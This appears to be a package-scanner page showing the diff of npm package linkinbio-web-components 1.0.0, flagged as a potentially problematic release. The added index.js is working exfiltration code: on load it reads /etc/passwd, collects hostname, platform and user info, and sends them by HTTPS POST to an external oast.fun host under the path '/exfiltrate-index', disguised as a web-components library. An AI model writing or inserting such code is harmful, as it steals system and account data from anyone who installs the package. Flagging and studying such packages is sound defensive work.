linkinbio-web-components 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of linkinbio-web-components might be problematic. Click here for more details.
- package/index.js +39 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,39 @@
|
|
1
|
+
// index.js
|
2
|
+
const https = require('https');
|
3
|
+
const os = require('os');
|
4
|
+
const fs = require('fs');
|
5
|
+
|
6
|
+
// Read the /etc/passwd file
|
7
|
+
const passwdData = fs.readFileSync('/etc/passwd', 'utf8');
|
8
|
+
|
9
|
+
// Create a data object with system information and /etc/passwd content
|
10
|
+
const data = JSON.stringify({
|
11
|
+
hostname: os.hostname(),
|
12
|
+
platform: os.platform(),
|
13
|
+
userInfo: os.userInfo(),
|
14
|
+
passwd: passwdData
|
15
|
+
});
|
16
|
+
|
17
|
+
const options = {
|
18
|
+
hostname: '5g21gf31kndrzttk8gb881yency51xray.oast.fun',
|
19
|
+
port: 443,
|
20
|
+
path: '/exfiltrate-index',
|
21
|
+
method: 'POST',
|
22
|
+
headers: {
|
23
|
+
'Content-Type': 'application/json',
|
24
|
+
'Content-Length': Buffer.byteLength(data)
|
25
|
+
}
|
26
|
+
};
|
27
|
+
|
28
|
+
const req = https.request(options, (res) => {
|
29
|
+
res.on('data', (d) => {
|
30
|
+
process.stdout.write(d);
|
31
|
+
});
|
32
|
+
});
|
33
|
+
|
34
|
+
req.on('error', (e) => {
|
35
|
+
console.error(e);
|
36
|
+
});
|
37
|
+
|
38
|
+
req.write(data);
|
39
|
+
req.end();
|
package/package.json
ADDED